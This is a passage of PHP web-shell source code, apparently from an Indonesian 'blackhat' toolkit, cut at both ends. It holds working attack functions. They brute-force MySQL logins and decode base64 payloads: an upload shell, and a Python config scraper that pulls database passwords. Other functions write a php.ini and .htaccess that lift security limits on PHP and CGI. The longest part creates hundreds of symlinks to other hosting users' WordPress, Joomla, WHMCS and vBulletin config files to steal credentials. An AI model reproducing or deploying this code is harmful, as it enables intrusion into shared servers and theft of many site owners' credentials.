",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "X'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPnVwbG9hZCBzaGVsbCBzdWtzZXMgYmFuZyAhISE8Yj48YnI+PGJyPic7IH0NCmVsc2UgeyBlY2hvICc8Yj51cGxvYWQgZmFpbGVkIGJhbmcgISEhITwvYj48YnI+PGJyPic7IH0NCn0NCmVjaG8gImJ5IHA0MWowIg0KPz4=";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzayB0byBwNDFqMCBoeGgNCmluZG9uZXNpYSBibGFja2hhdA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LmV4YW1wbGUuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG4gbWFrYXNpaCBiYW5nIGZpZ3RoaW5nIC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
